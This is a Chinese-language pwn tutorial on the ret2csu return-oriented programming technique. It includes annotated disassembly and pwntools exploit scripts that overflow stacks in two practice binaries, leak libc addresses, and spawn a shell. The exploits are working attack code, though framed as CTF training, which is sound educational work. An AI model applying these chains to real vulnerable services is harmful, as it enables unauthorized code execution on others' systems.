中级ROP之ret2csu

ret2csu

原理

  • 在64位程序中,函数的前6个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的gadgets。这时候,我们可以利用x64下的__libc_csu_init中的gadgets,如例二情况
  • 这个函数是用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以这个函数一定会存在。

下面是我在IDA摘出来的__libc_csu_init函数的汇编指令

.text:00000000004011B0 ; void _libc_csu_init(void)
.text:00000000004011B0                 public __libc_csu_init
.text:00000000004011B0 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:00000000004011B0 ; __unwind {
.text:00000000004011B0                 push    r15
.text:00000000004011B2                 mov     r15, rdx
.text:00000000004011B5                 push    r14
.text:00000000004011B7                 mov     r14, rsi
.text:00000000004011BA                 push    r13
.text:00000000004011BC                 mov     r13d, edi
.text:00000000004011BF                 push    r12
.text:00000000004011C1                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004011C8                 push    rbp
.text:00000000004011C9                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004011D0                 push    rbx
.text:00000000004011D1                 sub     rbp, r12
.text:00000000004011D4                 sub     rsp, 8
.text:00000000004011D8                 call    _init_proc
.text:00000000004011DD                 sar     rbp, 3
.text:00000000004011E1                 jz      short loc_4011FE
.text:00000000004011E3                 xor     ebx, ebx
.text:00000000004011E5                 nop     dword ptr [rax]
.text:00000000004011E8
.text:00000000004011E8 loc_4011E8:                             ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011E8                 mov     rdx, r15
.text:00000000004011EB                 mov     rsi, r14
.text:00000000004011EE                 mov     edi, r13d
.text:00000000004011F1                 call    qword ptr [r12+rbx*8]
.text:00000000004011F5                 add     rbx, 1
.text:00000000004011F9                 cmp     rbp, rbx
.text:00000000004011FC                 jnz     short loc_4011E8
.text:00000000004011FE
.text:00000000004011FE loc_4011FE:                             ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011FE                 add     rsp, 8
.text:0000000000401202                 pop     rbx
.text:0000000000401203                 pop     rbp
.text:0000000000401204                 pop     r12
.text:0000000000401206                 pop     r13
.text:0000000000401208                 pop     r14
.text:000000000040120A                 pop     r15
.text:000000000040120C                 retn
.text:000000000040120C ; } // starts at 4011B0
.text:000000000040120C __libc_csu_init endp

分析

gadgets1

.text:00000000004011FE loc_4011FE:                             ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011FE                 add     rsp, 8
.text:0000000000401202                 pop     rbx
.text:0000000000401203                 pop     rbp
.text:0000000000401204                 pop     r12
.text:0000000000401206                 pop     r13
.text:0000000000401208                 pop     r14
.text:000000000040120A                 pop     r15
.text:000000000040120C                 retn
.text:000000000040120C ; } // starts at 4011B0
  • 这段代码可以将你构造的栈中的值一个一个顺序存到rbx,rbp,r12,r13,r14,r15寄存器中。
  • 需要注意的是,可能随着环境的不同,r13,r14,r15的顺序也会有所改变。

gadgets2

.text:00000000004011E8 loc_4011E8:                             ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011E8                 mov     rdx, r15
.text:00000000004011EB                 mov     rsi, r14
.text:00000000004011EE                 mov     edi, r13d
.text:00000000004011F1                 call    qword ptr [r12+rbx*8]
.text:00000000004011F5                 add     rbx, 1
.text:00000000004011F9                 cmp     rbp, rbx
.text:00000000004011FC                 jnz     short loc_4011E8
  • 通过gadgets1中最后的ret,使程序流程走gadget2,这样可以将存储在r15的值赋给rdx,存储在r14的值赋给rsi,存储在r13的值赋给edi,此时rdi的高32位寄存器中值为0,所以我们也可以控制rdi的值。
  • call指令跳转到r12寄存器存储的位置处(在gadgets1中置rbx=0)
  • rbx+1,判断是否与rbp相等,否则重新执行gadgets2,这里我们为了不重新执行,将rbp置为1.
  • 这段gadgets2走完之后,顺序往下走汇编码,又会走到gadgets1,所以我们在栈中需要设7*8=56个padding字符,使栈不会空,然后设置特定的ret地址。
  • 重新走gadgets1时,会把rbx,rbp,r12,r13,r14,r15六个寄存器重新设值,但这六个寄存器对我们来说已经没用了,所以可以为任意的padding。我们的目的仅仅是要控制rdi,rsi,rdx三个寄存器来存放函数的参数。
  • 需要注意的是,rdi为第一个参数的存放寄存器,rsi为第二个参数,rdx为第三个参数。

通用payload

def ret_csu(r12, r13, r14, r15, last):
	payload = offset * 'a'  
	#构造栈溢出的padding
	payload += p64(first_csu) + 'a' * 8    
	#gadgets1的地址
	payload += p64(0) + p64(1)
	#rbx=0, rbp=1
	payload += p64(r12)
	#call调用的地址
	payload += p64(r13) + p64(r14) + p64(r15)
	#三个参数的寄存器
	payload += p64(second_csu)
	#gadgets2的地址
	payload += 'a' * 56
	#pop出的padding
	payload += p64(last)
	#函数最后的返回地址
	return payload
  • call函数为跳转到某地址内所保存的地址,应该使用got表中的地址
  • ret指令必须跳转到一段有效的汇编指令,所以应为plt表中的地址

例题一

下载链接提取码:ne7q
//不知道什么时候失效

checksec+IDA

[*] '/mnt/hgfs/ubuntu_share/pwn/interrop/easy_csu'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-20h]

  vul(0LL, 0LL, 0);
  read(0, &buf, 0x100uLL);
  return 0;
}
__int64 __fastcall vul(__int64 a1, __int64 a2, int a3)
{
  if ( a3 == 3 )
    puts("Success!");
  else
    puts("Try or Retry your payload");
  return 0LL;
}
  • 可以看到此题只需要使传递进vul函数的第三个参数值为3,即可。

分析+Exp

  • 不能使用call直接跳转到vul函数,因为got表中没有vul函数,所以要考虑绕过call这个调用,使用ret返回到vul的真实地址。
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/interrop# objdump -R easy_csu

easy_csu:     file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE 
0000000000403ff0 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5
0000000000403ff8 R_X86_64_GLOB_DAT  __gmon_start__
0000000000404018 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000404020 R_X86_64_JUMP_SLOT  read@GLIBC_2.2.5

  • 这里通过init_array_start函数的指针来跳过call。
    init_array_start函数是ELF程序的一个初始化函数,运行它不会对栈空间造成影响,可以说是用于跳过call指令的最佳选择
  • 下面命令可以查看程序的符号表
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/interrop# readelf -Ws easy_csu | grep "init"
    33: 0000000000403e10     0 OBJECT  LOCAL  DEFAULT   18 __frame_dummy_init_array_entry
    38: 0000000000403e18     0 NOTYPE  LOCAL  DEFAULT   18 __init_array_end
    40: 0000000000403e10     0 NOTYPE  LOCAL  DEFAULT   18 __init_array_start
    54: 00000000004011b0    93 FUNC    GLOBAL DEFAULT   13 __libc_csu_init
    62: 0000000000401000     0 FUNC    GLOBAL HIDDEN    11 _init
from pwn import *

sh = process("easy_csu")

context.log_level = "DEBUG"

gadget1 = 0x00000000004011FE

gadget2 = 0x00000000004011E8

init_start = 0x0000000000403e10

vul_addr = 0x0000000000401132

payload = (0x20 + 8) * 'a'

payload += p64(gadget1)

payload += 'a' * 8

payload += p64(0)

payload += p64(1)

payload += p64(init_start)

payload += p64(1) + p64(2) + p64(3)

payload += p64(gadget2)

payload += 'a' * 56

payload += p64(vul_addr)

sh.recv()

sh.sendline(payload)

sh.interactive()

此时的栈结构

中级ROP之ret2csu_第1张图片

可以拿到shell的Exp

from pwn import *

sh = process("easy_csu")

context.log_level = "DEBUG"

gadget1 = 0x00000000004011FE

gadget2 = 0x00000000004011E8

put_addr = 0x0000000000404018

libc_addr = 0x0000000000403ff0

start_addr = 0x0000000000401050

payload = (0x20 + 8) * 'a'

payload += p64(gadget1)

payload += 'a' * 8

payload += p64(0)

payload += p64(1)

payload += p64(put_addr)

payload += p64(libc_addr) + p64(libc_addr) + p64(libc_addr)

payload += p64(gadget2)

payload += 'a' * 56

payload += p64(start_addr)

sh.recv()

sh.sendline(payload)

real_addr = u64(sh.recv(8))

real_addr -= 0x540a000000000000

print hex(real_addr)

addr_base = real_addr - 0x020740

system_addr = addr_base + 0x045390

binsh_addr = addr_base + 0x18cd57

pop_addr = 0x000000000040120b

sh.recv()

payload = (0x20 + 8) * 'a' + p64(pop_addr) + p64(binsh_addr) + p64(system_addr)

sh.sendline(payload)

sh.interactive()

例题二

level5下载链接

checksec+IDA分析

[*] '/mnt/hgfs/ubuntu_share/pwn/interrop/level5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}
ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

查找有用的gadgets

root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/interrop# ROPgadget --binary level5 --only "pop|ret"
Gadgets information
============================================================
0x0000000000400512 : pop rbp ; ret
0x0000000000400511 : pop rbx ; pop rbp ; ret
0x0000000000400417 : ret
0x0000000000400442 : ret 0x200b

Unique gadgets found: 4

  • rdi,rsi,rdx三个有用的参数寄存器完全没有找到能控制的gadgets
  • 这时我们就可以使用ret_csu_init这种方法

Exp

from pwn import *
context.log_level = 'DEBUG'

sh = process('level5')

offset = 128 + 8

first_csu = 0x0000000000400606

second_csu = 0x00000000004005F0

def ret_csu(r12, r13, r14, r15, last):
	payload = offset * 'a'
	payload += p64(first_csu) + 'a' * 8
	payload += p64(0) + p64(1)
	payload += p64(r12)
	payload += p64(r13) + p64(r14) + p64(r15)
	payload += p64(second_csu)
	payload += 'a' * 56
	payload += p64(last)
	return payload

write_got = 0x0000000000601000 
start_addr = 0x0000000000400460

sh.recv()
payload = ret_csu(write_got, 1, write_got, 8, start_addr)

sh.sendline(payload)

real_write = u64(sh.recv(8))

print "real_write_addr:" + hex(real_write)

addr_base = real_write - 0x0f72b0

system_addr = addr_base + 0x045390

binsh_addr = addr_base + 0x18cd57

read_got = 0x0000000000601008

bss_addr = 0x0000000000601028

payload = ret_csu(read_got, 0, bss_addr, 18, start_addr)

sh.recvuntil("Hello, World\n")

sh.sendline(payload)

sh.sendline(p64(system_addr) + "/bin/sh\x00")

sh.recvuntil("Hello, World\n")

payload = ret_csu(bss_addr, bss_addr+8, 0, 0, start_addr)

sh.sendline(payload)

sh.interactive()

  • 构造三次栈溢出
  • 第一次使用write函数泄露出write函数的真实地址
  • 第二次使用read函数向bss段写入计算得出的system地址以及/bin/sh字符串
  • 第三次调用system函数,拿到shell
  • 需要注意的是,无法通过libc中/bin/sh字符串的地址拿到shell,可能我本机环境变量存在问题,会报如下错误。

你可能感兴趣的:(pwn)